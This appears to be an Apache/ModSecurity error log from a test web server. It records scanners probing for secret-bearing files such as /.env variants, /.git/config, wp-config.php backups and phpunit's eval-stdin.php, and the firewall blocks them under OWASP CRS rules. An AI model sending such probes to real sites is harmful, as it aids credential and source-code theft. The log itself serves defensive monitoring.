[Tue Mar 10 18:05:44.762365 2026] [:error] [pid 2596672] [client 209.38.92.91:63102] [client 209.38.92.91] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abBPaIZJ1z4ekLjAdbLmfgAAAAQ"]
[Tue Mar 10 18:05:44.992721 2026] [authz_core:error] [pid 2596668] [client 209.38.92.91:63136] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/laravel-filemanager
[Tue Mar 10 18:05:44.993035 2026] [:error] [pid 2596669] [client 209.38.92.91:63166] [client 209.38.92.91] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "662"] [id "920340"] [msg "Request Containing Content, but Missing Content-Type header"] [severity "NOTICE"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abBPaDVkqhup3a4IqeXVygAAAAE"]
[Tue Mar 10 18:05:44.993478 2026] [authz_core:error] [pid 2596861] [client 209.38.92.91:63152] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[Tue Mar 10 21:45:19.064440 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abCC34XIua_918bNo_TL1gAAAAk"]
[Tue Mar 10 21:45:19.064618 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abCC34XIua_918bNo_TL1gAAAAk"]
[Tue Mar 10 21:45:19.064800 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abCC34XIua_918bNo_TL1gAAAAk"]
[Tue Mar 10 21:45:19.090331 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abCC34XIua_918bNo_TL1wAAAAk"]
[Tue Mar 10 21:45:19.090532 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abCC34XIua_918bNo_TL1wAAAAk"]
[Tue Mar 10 21:45:19.090658 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abCC34XIua_918bNo_TL1wAAAAk"]
[Tue Mar 10 21:45:19.111306 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abCC34XIua_918bNo_TL2AAAAAk"]
[Tue Mar 10 21:45:19.111411 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abCC34XIua_918bNo_TL2AAAAAk"]
[Tue Mar 10 21:45:19.111568 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abCC34XIua_918bNo_TL2AAAAAk"]
[Tue Mar 10 21:45:19.111693 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abCC34XIua_918bNo_TL2AAAAAk"]
[Tue Mar 10 21:45:19.132226 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abCC34XIua_918bNo_TL2QAAAAk"]
[Tue Mar 10 21:45:19.132383 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abCC34XIua_918bNo_TL2QAAAAk"]
[Tue Mar 10 21:45:19.132504 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abCC34XIua_918bNo_TL2QAAAAk"]
[Tue Mar 10 21:45:19.153379 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abCC34XIua_918bNo_TL2gAAAAk"]
[Tue Mar 10 21:45:19.153531 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abCC34XIua_918bNo_TL2gAAAAk"]
[Tue Mar 10 21:45:19.153650 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abCC34XIua_918bNo_TL2gAAAAk"]
[Tue Mar 10 21:45:19.174266 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abCC34XIua_918bNo_TL2wAAAAk"]
[Tue Mar 10 21:45:19.174441 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abCC34XIua_918bNo_TL2wAAAAk"]
[Tue Mar 10 21:45:19.174558 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abCC34XIua_918bNo_TL2wAAAAk"]
[Tue Mar 10 21:45:19.195483 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abCC34XIua_918bNo_TL3AAAAAk"]
[Tue Mar 10 21:45:19.195641 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abCC34XIua_918bNo_TL3AAAAAk"]
[Tue Mar 10 21:45:19.195772 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abCC34XIua_918bNo_TL3AAAAAk"]
[Tue Mar 10 21:45:19.217293 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abCC34XIua_918bNo_TL3QAAAAk"]
[Tue Mar 10 21:45:19.217444 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abCC34XIua_918bNo_TL3QAAAAk"]
[Tue Mar 10 21:45:19.217575 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abCC34XIua_918bNo_TL3QAAAAk"]
[Tue Mar 10 21:45:19.238501 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abCC34XIua_918bNo_TL3gAAAAk"]
[Tue Mar 10 21:45:19.238641 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abCC34XIua_918bNo_TL3gAAAAk"]
[Tue Mar 10 21:45:19.238856 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abCC34XIua_918bNo_TL3gAAAAk"]
[Tue Mar 10 21:45:19.239025 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abCC34XIua_918bNo_TL3gAAAAk"]
[Tue Mar 10 21:45:19.282047 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "abCC34XIua_918bNo_TL4AAAAAk"]
[Tue Mar 10 21:45:19.282305 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "abCC34XIua_918bNo_TL4AAAAAk"]
[Tue Mar 10 21:45:19.282472 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "abCC34XIua_918bNo_TL4AAAAAk"]
[Tue Mar 10 21:45:19.368674 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abCC34XIua_918bNo_TL5AAAAAk"]
[Tue Mar 10 21:45:19.368892 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abCC34XIua_918bNo_TL5AAAAAk"]
[Tue Mar 10 21:45:19.369051 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abCC34XIua_918bNo_TL5AAAAAk"]
[Tue Mar 10 21:45:19.391203 2026] [:error] [pid 2606453] [client 93.123.109.214:49542] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abCC34XIua_918bNo_TL5QAAAAk"]
